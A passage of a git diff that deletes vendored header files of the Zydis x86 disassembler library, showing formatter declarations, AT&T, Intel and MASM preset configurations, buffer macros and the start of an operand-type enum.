ZYDIS_FORMATTER_ATT_H -#define ZYDIS_FORMATTER_ATT_H - -#include -#include -#include - -#ifdef __cplusplus -extern "C" { -#endif - -/* ============================================================================================== */ -/* Formatter functions */ -/* ============================================================================================== */ - -/* ---------------------------------------------------------------------------------------------- */ -/* Instruction */ -/* ---------------------------------------------------------------------------------------------- */ - -ZyanStatus ZydisFormatterATTFormatInstruction(const ZydisFormatter* formatter, - ZydisFormatterBuffer* buffer, ZydisFormatterContext* context); - -/* ---------------------------------------------------------------------------------------------- */ -/* Operands */ -/* ---------------------------------------------------------------------------------------------- */ - -ZyanStatus ZydisFormatterATTFormatOperandMEM(const ZydisFormatter* formatter, - ZydisFormatterBuffer* buffer, ZydisFormatterContext* context); - -/* ---------------------------------------------------------------------------------------------- */ -/* Elemental tokens */ -/* ---------------------------------------------------------------------------------------------- */ - -ZyanStatus ZydisFormatterATTPrintMnemonic(const ZydisFormatter* formatter, - ZydisFormatterBuffer* buffer, ZydisFormatterContext* context); - -ZyanStatus ZydisFormatterATTPrintRegister(const ZydisFormatter* formatter, - ZydisFormatterBuffer* buffer, ZydisFormatterContext* context, ZydisRegister reg); - -ZyanStatus ZydisFormatterATTPrintDISP(const ZydisFormatter* formatter, - ZydisFormatterBuffer* buffer, ZydisFormatterContext* context); - -ZyanStatus ZydisFormatterATTPrintIMM(const ZydisFormatter* formatter, - ZydisFormatterBuffer* buffer, ZydisFormatterContext* context); - -/* ---------------------------------------------------------------------------------------------- */ - -/* ============================================================================================== */ -/* Fomatter presets */ -/* ============================================================================================== */ - -/* ---------------------------------------------------------------------------------------------- */ -/* AT&T */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * The default formatter configuration for `AT&T` style disassembly. - */ -static const ZydisFormatter FORMATTER_ATT = -{ - /* style */ ZYDIS_FORMATTER_STYLE_ATT, - /* force_memory_size */ ZYAN_FALSE, - /* force_memory_seg */ ZYAN_FALSE, - /* force_relative_branches */ ZYAN_FALSE, - /* force_relative_riprel */ ZYAN_FALSE, - /* print_branch_size */ ZYAN_FALSE, - /* detailed_prefixes */ ZYAN_FALSE, - /* addr_base */ ZYDIS_NUMERIC_BASE_HEX, - /* addr_signedness */ ZYDIS_SIGNEDNESS_SIGNED, - /* addr_padding_absolute */ ZYDIS_PADDING_AUTO, - /* addr_padding_relative */ 2, - /* disp_base */ ZYDIS_NUMERIC_BASE_HEX, - /* disp_signedness */ ZYDIS_SIGNEDNESS_SIGNED, - /* disp_padding */ 2, - /* imm_base */ ZYDIS_NUMERIC_BASE_HEX, - /* imm_signedness */ ZYDIS_SIGNEDNESS_AUTO, - /* imm_padding */ 2, - /* case_prefixes */ ZYDIS_LETTER_CASE_DEFAULT, - /* case_mnemonic */ ZYDIS_LETTER_CASE_DEFAULT, - /* case_registers */ ZYDIS_LETTER_CASE_DEFAULT, - /* case_typecasts */ ZYDIS_LETTER_CASE_DEFAULT, - /* case_decorators */ ZYDIS_LETTER_CASE_DEFAULT, - /* hex_uppercase */ ZYAN_TRUE, - /* number_format */ - { - // ZYDIS_NUMERIC_BASE_DEC - { - // Prefix - { - /* string */ ZYAN_NULL, - /* string_data */ ZYAN_DEFINE_STRING_VIEW(""), - /* buffer */ { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }, - }, - // Suffix - { - /* string */ ZYAN_NULL, - /* string_data */ ZYAN_DEFINE_STRING_VIEW(""), - /* buffer */ { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }, - } - }, - // ZYDIS_NUMERIC_BASE_HEX - { - // Prefix - { - /* string */ &FORMATTER_ATT.number_format[ - ZYDIS_NUMERIC_BASE_HEX][0].string_data, - /* string_data */ ZYAN_DEFINE_STRING_VIEW("0x"), - /* buffer */ { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }, - }, - // Suffix - { - /* string */ ZYAN_NULL, - /* string_data */ ZYAN_DEFINE_STRING_VIEW(""), - /* buffer */ { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }, - } - } - }, - /* func_pre_instruction */ ZYAN_NULL, - /* func_post_instruction */ ZYAN_NULL, - /* func_format_instruction */ &ZydisFormatterATTFormatInstruction, - /* func_pre_operand */ ZYAN_NULL, - /* func_post_operand */ ZYAN_NULL, - /* func_format_operand_reg */ &ZydisFormatterBaseFormatOperandREG, - /* func_format_operand_mem */ &ZydisFormatterATTFormatOperandMEM, - /* func_format_operand_ptr */ &ZydisFormatterBaseFormatOperandPTR, - /* func_format_operand_imm */ &ZydisFormatterBaseFormatOperandIMM, - /* func_print_mnemonic */ &ZydisFormatterATTPrintMnemonic, - /* func_print_register */ &ZydisFormatterATTPrintRegister, - /* func_print_address_abs */ &ZydisFormatterBasePrintAddressABS, - /* func_print_address_rel */ &ZydisFormatterBasePrintAddressREL, - /* func_print_disp */ &ZydisFormatterATTPrintDISP, - /* func_print_imm */ &ZydisFormatterATTPrintIMM, - /* func_print_typecast */ ZYAN_NULL, - /* func_print_segment */ &ZydisFormatterBasePrintSegment, - /* func_print_prefixes */ &ZydisFormatterBasePrintPrefixes, - /* func_print_decorator */ &ZydisFormatterBasePrintDecorator -}; - -/* ---------------------------------------------------------------------------------------------- */ - -/* ============================================================================================== */ - -#ifdef __cplusplus -} -#endif - -#endif // ZYDIS_FORMATTER_ATT_H diff --git a/src/Theodosius/Zydis/Internal/FormatterBase.h b/src/Theodosius/Zydis/Internal/FormatterBase.h deleted file mode 100644 index 0a61747..0000000 --- a/src/Theodosius/Zydis/Internal/FormatterBase.h +++ /dev/null @@ -1,318 +0,0 @@ -/*************************************************************************************************** - - Zyan Disassembler Library (Zydis) - - Original Author : Florian Bernd, Joel Hoener - - * Permission is hereby granted, free of charge, to any person obtaining a copy - * of this software and associated documentation files (the "Software"), to deal - * in the Software without restriction, including without limitation the rights - * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell - * copies of the Software, and to permit persons to whom the Software is - * furnished to do so, subject to the following conditions: - * - * The above copyright notice and this permission notice shall be included in all - * copies or substantial portions of the Software. - * - * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR - * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, - * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE - * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER - * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, - * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE - * SOFTWARE. - -***************************************************************************************************/ - -/** - * @file - * Provides formatter functions that are shared between the different formatters. - */ - -#ifndef ZYDIS_FORMATTER_BASE_H -#define ZYDIS_FORMATTER_BASE_H - -#include -#include - -#ifdef __cplusplus -extern "C" { -#endif - -/* ============================================================================================== */ -/* Macros */ -/* ============================================================================================== */ - -/* ---------------------------------------------------------------------------------------------- */ -/* String */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Appends an unsigned numeric value to the given string. - * - * @param formatter A pointer to the `ZydisFormatter` instance. - * @param base The numeric base. - * @param str The destination string. - * @param value The value. - * @param padding_length The padding length. - */ -#define ZYDIS_STRING_APPEND_NUM_U(formatter, base, str, value, padding_length) \ - switch (base) \ - { \ - case ZYDIS_NUMERIC_BASE_DEC: \ - ZYAN_CHECK(ZydisStringAppendDecU(str, value, padding_length, \ - (formatter)->number_format[base][0].string, \ - (formatter)->number_format[base][1].string)); \ - break; \ - case ZYDIS_NUMERIC_BASE_HEX: \ - ZYAN_CHECK(ZydisStringAppendHexU(str, value, padding_length, \ - (formatter)->hex_uppercase, \ - (formatter)->number_format[base][0].string, \ - (formatter)->number_format[base][1].string)); \ - break; \ - default: \ - return ZYAN_STATUS_INVALID_ARGUMENT; \ - } - -/** - * Appends a signed numeric value to the given string. - * - * @param formatter A pointer to the `ZydisFormatter` instance. - * @param base The numeric base. - * @param str The destination string. - * @param value The value. - * @param padding_length The padding length. - * @param force_sign Forces printing of the '+' sign for positive numbers. - */ -#define ZYDIS_STRING_APPEND_NUM_S(formatter, base, str, value, padding_length, force_sign) \ - switch (base) \ - { \ - case ZYDIS_NUMERIC_BASE_DEC: \ - ZYAN_CHECK(ZydisStringAppendDecS(str, value, padding_length, force_sign, \ - (formatter)->number_format[base][0].string, \ - (formatter)->number_format[base][1].string)); \ - break; \ - case ZYDIS_NUMERIC_BASE_HEX: \ - ZYAN_CHECK(ZydisStringAppendHexS(str, value, padding_length, \ - (formatter)->hex_uppercase, force_sign, \ - (formatter)->number_format[base][0].string, \ - (formatter)->number_format[base][1].string)); \ - break; \ - default: \ - return ZYAN_STATUS_INVALID_ARGUMENT; \ - } - -/* ---------------------------------------------------------------------------------------------- */ -/* Buffer */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Invokes the `ZydisFormatterBufferAppend` routine, if tokenization is enabled for the - * current pass. - * - * @param buffer A pointer to the `ZydisFormatterBuffer` struct. - * @param type The token type. - * - * Using this macro instead of direct calls to `ZydisFormatterBufferAppend` greatly improves the - * performance for non-tokenizing passes. - */ -#define ZYDIS_BUFFER_APPEND_TOKEN(buffer, type) \ - if ((buffer)->is_token_list) \ - { \ - ZYAN_CHECK(ZydisFormatterBufferAppend(buffer, type)); \ - } - -/** - * Returns a snapshot of the buffer-state. - * - * @param buffer A pointer to the `ZydisFormatterBuffer` struct. - * @param state Receives a snapshot of the buffer-state. - * - * Using this macro instead of direct calls to `ZydisFormatterBufferRemember` improves the - * performance for non-tokenizing passes. - */ -#define ZYDIS_BUFFER_REMEMBER(buffer, state) \ - if ((buffer)->is_token_list) \ - { \ - (state) = (ZyanUPointer)(buffer)->string.vector.data; \ - } else \ - { \ - (state) = (ZyanUPointer)(buffer)->string.vector.size; \ - } - -/** - * Appends a string (`STR_`-prefix) or a predefined token-list (`TOK_`-prefix). - * - * @param buffer A pointer to the `ZydisFormatterBuffer` struct. - * @param name The base name (without prefix) of the string- or token. - */ -#define ZYDIS_BUFFER_APPEND(buffer, name) \ - if ((buffer)->is_token_list) \ - { \ - ZYAN_CHECK(ZydisFormatterBufferAppendPredefined(buffer, TOK_ ## name)); \ - } else \ - { \ - ZYAN_CHECK(ZydisStringAppendShort(&buffer->string, &STR_ ## name)); \ - } - -// TODO: Implement `letter_case` for predefined tokens - -/** - * Appends a string (`STR_`-prefix) or a predefined token-list (`TOK_`-prefix). - * - * @param buffer A pointer to the `ZydisFormatterBuffer` struct. - * @param name The base name (without prefix) of the string- or token. - * @param letter-case The desired letter-case. - */ -#define ZYDIS_BUFFER_APPEND_CASE(buffer, name, letter_case) \ - if ((buffer)->is_token_list) \ - { \ - ZYAN_CHECK(ZydisFormatterBufferAppendPredefined(buffer, TOK_ ## name)); \ - } else \ - { \ - ZYAN_CHECK(ZydisStringAppendShortCase(&buffer->string, &STR_ ## name, letter_case)); \ - } - -/* ---------------------------------------------------------------------------------------------- */ - -/* ============================================================================================== */ -/* Helper functions */ -/* ============================================================================================== */ - -/* ---------------------------------------------------------------------------------------------- */ -/* Buffer */ -/* ---------------------------------------------------------------------------------------------- */ - -// MSVC does not like the C99 flexible-array extension -#ifdef ZYAN_MSVC -# pragma warning(push) -# pragma warning(disable:4200) -#endif - -#pragma pack(push, 1) - -typedef struct ZydisPredefinedToken_ -{ - ZyanU8 size; - ZyanU8 next; - ZyanU8 data[]; -} ZydisPredefinedToken; - -#pragma pack(pop) - -#ifdef ZYAN_MSVC -# pragma warning(pop) -#endif - -/** - * Appends a predefined token-list to the `buffer`. - * - * @param buffer A pointer to the `ZydisFormatterBuffer` struct. - * @param data A pointer to the `ZydisPredefinedToken` struct. - * - * @return A zycore status code. - * - * This function is internally used to improve performance while adding static strings or multiple - * tokens at once. - */ -ZYAN_INLINE ZyanStatus ZydisFormatterBufferAppendPredefined(ZydisFormatterBuffer* buffer, - const ZydisPredefinedToken* data) -{ - ZYAN_ASSERT(buffer); - ZYAN_ASSERT(data); - - const ZyanUSize len = buffer->string.vector.size; - ZYAN_ASSERT((len > 0) && (len < 256)); - if (buffer->capacity <= len + data->size) - { - return ZYAN_STATUS_INSUFFICIENT_BUFFER_SIZE; - } - - ZydisFormatterToken* const last = (ZydisFormatterToken*)buffer->string.vector.data - 1; - last->next = (ZyanU8)len; - - ZYAN_MEMCPY((ZyanU8*)buffer->string.vector.data + len, &data->data[0], data->size); - - const ZyanUSize delta = len + data->next; - buffer->capacity -= delta; - buffer->string.vector.data = (ZyanU8*)buffer->string.vector.data + delta; - buffer->string.vector.size = data->size - data->next; - buffer->string.vector.capacity = ZYAN_MIN(buffer->capacity, 255); - - return ZYAN_STATUS_SUCCESS; -} - -/* ---------------------------------------------------------------------------------------------- */ -/* General */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Returns the size to be used as explicit size suffix (`AT&T`) or explicit typecast - * (`INTEL`), if required. - * - * @param formatter A pointer to the `ZydisFormatter` instance. - * @param context A pointer to the `ZydisFormatterContext` struct. - * @param memop_id The operand-id of the instructions first memory operand. - * - * @return Returns the explicit size, if required, or `0`, if not needed. - * - * This function always returns a size different to `0`, if the `ZYDIS_FORMATTER_PROP_FORCE_SIZE` - * is set to `ZYAN_TRUE`. - */ -ZyanU32 ZydisFormatterHelperGetExplicitSize(const ZydisFormatter* formatter, - ZydisFormatterContext* context, ZyanU8 memop_id); - -/* ---------------------------------------------------------------------------------------------- */ - -/* ============================================================================================== */ -/* Formatter functions */ -/* ============================================================================================== */ - -/* ---------------------------------------------------------------------------------------------- */ -/* Operands */ -/* ---------------------------------------------------------------------------------------------- */ - -ZyanStatus ZydisFormatterBaseFormatOperandREG(const ZydisFormatter* formatter, - ZydisFormatterBuffer* buffer, ZydisFormatterContext* context); - -ZyanStatus ZydisFormatterBaseFormatOperandPTR(const ZydisFormatter* formatter, - ZydisFormatterBuffer* buffer, ZydisFormatterContext* context); - -ZyanStatus ZydisFormatterBaseFormatOperandIMM(const ZydisFormatter* formatter, - ZydisFormatterBuffer* buffer, ZydisFormatterContext* context); - -/* ---------------------------------------------------------------------------------------------- */ -/* Elemental tokens */ -/* ---------------------------------------------------------------------------------------------- */ - -ZyanStatus ZydisFormatterBasePrintAddressABS(const ZydisFormatter* formatter, - ZydisFormatterBuffer* buffer, ZydisFormatterContext* context); - -ZyanStatus ZydisFormatterBasePrintAddressREL(const ZydisFormatter* formatter, - ZydisFormatterBuffer* buffer, ZydisFormatterContext* context); - -ZyanStatus ZydisFormatterBasePrintIMM(const ZydisFormatter* formatter, - ZydisFormatterBuffer* buffer, ZydisFormatterContext* context); - -/* ---------------------------------------------------------------------------------------------- */ -/* Optional tokens */ -/* ---------------------------------------------------------------------------------------------- */ - -ZyanStatus ZydisFormatterBasePrintSegment(const ZydisFormatter* formatter, - ZydisFormatterBuffer* buffer, ZydisFormatterContext* context); - -ZyanStatus ZydisFormatterBasePrintPrefixes(const ZydisFormatter* formatter, - ZydisFormatterBuffer* buffer, ZydisFormatterContext* context); - -ZyanStatus ZydisFormatterBasePrintDecorator(const ZydisFormatter* formatter, - ZydisFormatterBuffer* buffer, ZydisFormatterContext* context, ZydisDecorator decorator); - -/* ---------------------------------------------------------------------------------------------- */ - -/* ============================================================================================== */ - -#ifdef __cplusplus -} -#endif - -#endif // ZYDIS_FORMATTER_BASE_H diff --git a/src/Theodosius/Zydis/Internal/FormatterIntel.h b/src/Theodosius/Zydis/Internal/FormatterIntel.h deleted file mode 100644 index cd12d38..0000000 --- a/src/Theodosius/Zydis/Internal/FormatterIntel.h +++ /dev/null @@ -1,267 +0,0 @@ -/*************************************************************************************************** - - Zyan Disassembler Library (Zydis) - - Original Author : Florian Bernd, Joel Hoener - - * Permission is hereby granted, free of charge, to any person obtaining a copy - * of this software and associated documentation files (the "Software"), to deal - * in the Software without restriction, including without limitation the rights - * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell - * copies of the Software, and to permit persons to whom the Software is - * furnished to do so, subject to the following conditions: - * - * The above copyright notice and this permission notice shall be included in all - * copies or substantial portions of the Software. - * - * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR - * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, - * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE - * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER - * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, - * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE - * SOFTWARE. - -***************************************************************************************************/ - -/** - * @file - * Implements the `INTEL` style instruction-formatter. - */ - -#ifndef ZYDIS_FORMATTER_INTEL_H -#define ZYDIS_FORMATTER_INTEL_H - -#include -#include -#include - -#ifdef __cplusplus -extern "C" { -#endif - -/* ============================================================================================== */ -/* Formatter functions */ -/* ============================================================================================== */ - -/* ---------------------------------------------------------------------------------------------- */ -/* Intel */ -/* ---------------------------------------------------------------------------------------------- */ - -ZyanStatus ZydisFormatterIntelFormatInstruction(const ZydisFormatter* formatter, - ZydisFormatterBuffer* buffer, ZydisFormatterContext* context); - -ZyanStatus ZydisFormatterIntelFormatOperandMEM(const ZydisFormatter* formatter, - ZydisFormatterBuffer* buffer, ZydisFormatterContext* context); - -ZyanStatus ZydisFormatterIntelPrintMnemonic(const ZydisFormatter* formatter, - ZydisFormatterBuffer* buffer, ZydisFormatterContext* context); - -ZyanStatus ZydisFormatterIntelPrintRegister(const ZydisFormatter* formatter, - ZydisFormatterBuffer* buffer, ZydisFormatterContext* context, ZydisRegister reg); - -ZyanStatus ZydisFormatterIntelPrintDISP(const ZydisFormatter* formatter, - ZydisFormatterBuffer* buffer, ZydisFormatterContext* context); - -ZyanStatus ZydisFormatterIntelPrintTypecast(const ZydisFormatter* formatter, - ZydisFormatterBuffer* buffer, ZydisFormatterContext* context); - -/* ---------------------------------------------------------------------------------------------- */ -/* MASM */ -/* ---------------------------------------------------------------------------------------------- */ - -ZyanStatus ZydisFormatterIntelFormatInstructionMASM(const ZydisFormatter* formatter, - ZydisFormatterBuffer* buffer, ZydisFormatterContext* context); - -ZyanStatus ZydisFormatterIntelPrintAddressMASM(const ZydisFormatter* formatter, - ZydisFormatterBuffer* buffer, ZydisFormatterContext* context); - -/* ---------------------------------------------------------------------------------------------- */ - -/* ============================================================================================== */ -/* Fomatter presets */ -/* ============================================================================================== */ - -/* ---------------------------------------------------------------------------------------------- */ -/* INTEL */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * The default formatter configuration for `INTEL` style disassembly. - */ -static const ZydisFormatter FORMATTER_INTEL = -{ - /* style */ ZYDIS_FORMATTER_STYLE_INTEL, - /* force_memory_size */ ZYAN_FALSE, - /* force_memory_seg */ ZYAN_FALSE, - /* force_relative_branches */ ZYAN_FALSE, - /* force_relative_riprel */ ZYAN_FALSE, - /* print_branch_size */ ZYAN_FALSE, - /* detailed_prefixes */ ZYAN_FALSE, - /* addr_base */ ZYDIS_NUMERIC_BASE_HEX, - /* addr_signedness */ ZYDIS_SIGNEDNESS_SIGNED, - /* addr_padding_absolute */ ZYDIS_PADDING_AUTO, - /* addr_padding_relative */ 2, - /* disp_base */ ZYDIS_NUMERIC_BASE_HEX, - /* disp_signedness */ ZYDIS_SIGNEDNESS_SIGNED, - /* disp_padding */ 2, - /* imm_base */ ZYDIS_NUMERIC_BASE_HEX, - /* imm_signedness */ ZYDIS_SIGNEDNESS_UNSIGNED, - /* imm_padding */ 2, - /* case_prefixes */ ZYDIS_LETTER_CASE_DEFAULT, - /* case_mnemonic */ ZYDIS_LETTER_CASE_DEFAULT, - /* case_registers */ ZYDIS_LETTER_CASE_DEFAULT, - /* case_typecasts */ ZYDIS_LETTER_CASE_DEFAULT, - /* case_decorators */ ZYDIS_LETTER_CASE_DEFAULT, - /* hex_uppercase */ ZYAN_TRUE, - /* number_format */ - { - // ZYDIS_NUMERIC_BASE_DEC - { - // Prefix - { - /* string */ ZYAN_NULL, - /* string_data */ ZYAN_DEFINE_STRING_VIEW(""), - /* buffer */ { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }, - }, - // Suffix - { - /* string */ ZYAN_NULL, - /* string_data */ ZYAN_DEFINE_STRING_VIEW(""), - /* buffer */ { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }, - } - }, - // ZYDIS_NUMERIC_BASE_HEX - { - // Prefix - { - /* string */ &FORMATTER_INTEL.number_format[ - ZYDIS_NUMERIC_BASE_HEX][0].string_data, - /* string_data */ ZYAN_DEFINE_STRING_VIEW("0x"), - /* buffer */ { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }, - }, - // Suffix - { - /* string */ ZYAN_NULL, - /* string_data */ ZYAN_DEFINE_STRING_VIEW(""), - /* buffer */ { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }, - } - } - }, - /* func_pre_instruction */ ZYAN_NULL, - /* func_post_instruction */ ZYAN_NULL, - /* func_format_instruction */ &ZydisFormatterIntelFormatInstruction, - /* func_pre_operand */ ZYAN_NULL, - /* func_post_operand */ ZYAN_NULL, - /* func_format_operand_reg */ &ZydisFormatterBaseFormatOperandREG, - /* func_format_operand_mem */ &ZydisFormatterIntelFormatOperandMEM, - /* func_format_operand_ptr */ &ZydisFormatterBaseFormatOperandPTR, - /* func_format_operand_imm */ &ZydisFormatterBaseFormatOperandIMM, - /* func_print_mnemonic */ &ZydisFormatterIntelPrintMnemonic, - /* func_print_register */ &ZydisFormatterIntelPrintRegister, - /* func_print_address_abs */ &ZydisFormatterBasePrintAddressABS, - /* func_print_address_rel */ &ZydisFormatterBasePrintAddressREL, - /* func_print_disp */ &ZydisFormatterIntelPrintDISP, - /* func_print_imm */ &ZydisFormatterBasePrintIMM, - /* func_print_typecast */ &ZydisFormatterIntelPrintTypecast, - /* func_print_segment */ &ZydisFormatterBasePrintSegment, - /* func_print_prefixes */ &ZydisFormatterBasePrintPrefixes, - /* func_print_decorator */ &ZydisFormatterBasePrintDecorator -}; - -/* ---------------------------------------------------------------------------------------------- */ -/* MASM */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * The default formatter configuration for `MASM` style disassembly. - */ -static const ZydisFormatter FORMATTER_INTEL_MASM = -{ - /* style */ ZYDIS_FORMATTER_STYLE_INTEL_MASM, - /* force_memory_size */ ZYAN_TRUE, - /* force_memory_seg */ ZYAN_FALSE, - /* force_relative_branches */ ZYAN_FALSE, - /* force_relative_riprel */ ZYAN_FALSE, - /* print_branch_size */ ZYAN_FALSE, - /* detailed_prefixes */ ZYAN_FALSE, - /* addr_base */ ZYDIS_NUMERIC_BASE_HEX, - /* addr_signedness */ ZYDIS_SIGNEDNESS_SIGNED, - /* addr_padding_absolute */ ZYDIS_PADDING_DISABLED, - /* addr_padding_relative */ ZYDIS_PADDING_DISABLED, - /* disp_base */ ZYDIS_NUMERIC_BASE_HEX, - /* disp_signedness */ ZYDIS_SIGNEDNESS_SIGNED, - /* disp_padding */ ZYDIS_PADDING_DISABLED, - /* imm_base */ ZYDIS_NUMERIC_BASE_HEX, - /* imm_signedness */ ZYDIS_SIGNEDNESS_AUTO, - /* imm_padding */ ZYDIS_PADDING_DISABLED, - /* case_prefixes */ ZYDIS_LETTER_CASE_DEFAULT, - /* case_mnemonic */ ZYDIS_LETTER_CASE_DEFAULT, - /* case_registers */ ZYDIS_LETTER_CASE_DEFAULT, - /* case_typecasts */ ZYDIS_LETTER_CASE_DEFAULT, - /* case_decorators */ ZYDIS_LETTER_CASE_DEFAULT, - /* hex_uppercase */ ZYAN_TRUE, - /* number_format */ - { - // ZYDIS_NUMERIC_BASE_DEC - { - // Prefix - { - /* string */ ZYAN_NULL, - /* string_data */ ZYAN_DEFINE_STRING_VIEW(""), - /* buffer */ { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }, - }, - // Suffix - { - /* string */ ZYAN_NULL, - /* string_data */ ZYAN_DEFINE_STRING_VIEW(""), - /* buffer */ { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }, - } - }, - // ZYDIS_NUMERIC_BASE_HEX - { - // Prefix - { - /* string */ ZYAN_NULL, - /* string_data */ ZYAN_DEFINE_STRING_VIEW(""), - /* buffer */ { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }, - }, - // Suffix - { - /* string */ &FORMATTER_INTEL_MASM.number_format[ - ZYDIS_NUMERIC_BASE_HEX][1].string_data, - /* string_data */ ZYAN_DEFINE_STRING_VIEW("h"), - /* buffer */ { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }, - } - } - }, - /* func_pre_instruction */ ZYAN_NULL, - /* func_post_instruction */ ZYAN_NULL, - /* func_format_instruction */ &ZydisFormatterIntelFormatInstructionMASM, - /* func_pre_operand */ ZYAN_NULL, - /* func_post_operand */ ZYAN_NULL, - /* func_format_operand_reg */ &ZydisFormatterBaseFormatOperandREG, - /* func_format_operand_mem */ &ZydisFormatterIntelFormatOperandMEM, - /* func_format_operand_ptr */ &ZydisFormatterBaseFormatOperandPTR, - /* func_format_operand_imm */ &ZydisFormatterBaseFormatOperandIMM, - /* func_print_mnemonic */ &ZydisFormatterIntelPrintMnemonic, - /* func_print_register */ &ZydisFormatterIntelPrintRegister, - /* func_print_address_abs */ &ZydisFormatterIntelPrintAddressMASM, - /* func_print_address_rel */ &ZydisFormatterIntelPrintAddressMASM, - /* func_print_disp */ &ZydisFormatterIntelPrintDISP, - /* func_print_imm */ &ZydisFormatterBasePrintIMM, - /* func_print_typecast */ &ZydisFormatterIntelPrintTypecast, - /* func_print_segment */ &ZydisFormatterBasePrintSegment, - /* func_print_prefixes */ &ZydisFormatterBasePrintPrefixes, - /* func_print_decorator */ &ZydisFormatterBasePrintDecorator -}; - -/* ---------------------------------------------------------------------------------------------- */ - -/* ============================================================================================== */ - -#ifdef __cplusplus -} -#endif - -#endif // ZYDIS_FORMATTER_INTEL_H diff --git a/src/Theodosius/Zydis/Internal/SharedData.h b/src/Theodosius/Zydis/Internal/SharedData.h deleted file mode 100644 index d8db4fb..0000000 --- a/src/Theodosius/Zydis/Internal/SharedData.h +++ /dev/null @@ -1,974 +0,0 @@ -/*************************************************************************************************** - - Zyan Disassembler Library (Zydis) - - Original Author : Florian Bernd - - * Permission is hereby granted, free of charge, to any person obtaining a copy - * of this software and associated documentation files (the "Software"), to deal - * in the Software without restriction, including without limitation the rights - * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell - * copies of the Software, and to permit persons to whom the Software is - * furnished to do so, subject to the following conditions: - * - * The above copyright notice and this permission notice shall be included in all - * copies or substantial portions of the Software. - * - * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR - * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, - * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE - * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER - * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, - * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE - * SOFTWARE. - -***************************************************************************************************/ - -#ifndef ZYDIS_INTERNAL_SHAREDDATA_H -#define ZYDIS_INTERNAL_SHAREDDATA_H - -#include -#include -#include -#include -#include - -#ifdef __cplusplus -extern "C" { -#endif - -/* ============================================================================================== */ -/* Enums and types */ -/* ============================================================================================== */ - -// MSVC does not like types other than (un-)signed int for bit-fields -#ifdef ZYAN_MSVC -# pragma warning(push) -# pragma warning(disable:4214) -#endif - -#pragma pack(push, 1) - -/* ---------------------------------------------------------------------------------------------- */ -/* Operand definition */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Defines the `ZydisSemanticOperandType` enum. - */ -typedef enum ZydisSemanticOperandType_ -{ - ZYDIS_SEMANTIC_OPTYPE_UNUSED, - ZYDIS_SEMANTIC_OPTYPE_IMPLICIT_REG, - ZYDIS_SEMANTIC_OPTYPE_IMPLICIT_MEM, - ZYDIS_SEMANTIC_OPTYPE_IMPLICIT_IMM1, - ZYDIS_SEMANTIC_OPTYPE_GPR8, - ZYDIS_SEMANTIC_OPTYPE_GPR16, - ZYDIS_SEMANTIC_OPTYPE_GPR32, - ZYDIS_SEMANTIC_OPTYPE_GPR64, - ZYDIS_SEMANTIC_OPTYPE_GPR16_32_64, - ZYDIS_SEMANTIC_OPTYPE_GPR32_32_64, - ZYDIS_SEMANTIC_OPTYPE_GPR16_32_32, - ZYDIS_SEMANTIC_OPTYPE_GPR_ASZ, - ZYDIS_SEMANTIC_OPTYPE_FPR, - ZYDIS_SEMANTIC_OPTYPE_MMX, - ZYDIS_SEMANTIC_OPTYPE_XMM, - ZYDIS_SEMANTIC_OPTYPE_YMM, - ZYDIS_SEMANTIC_OPTYPE_ZMM, - ZYDIS_SEMANTIC_OPTYPE_TMM, - ZYDIS_SEMANTIC_OPTYPE_BND, - ZYDIS_SEMANTIC_OPTYPE_SREG, - ZYDIS_SEMANTIC_OPTYPE_CR, - ZYDIS_SEMANTIC_OPTYPE_DR, - ZYDIS_SEMANTIC_OPTYPE_MASK, - ZYDIS_SEMANTIC_OPTYPE_MEM, - ZYDIS_SEMANTIC_OPTYPE_MEM_VSIBX, - 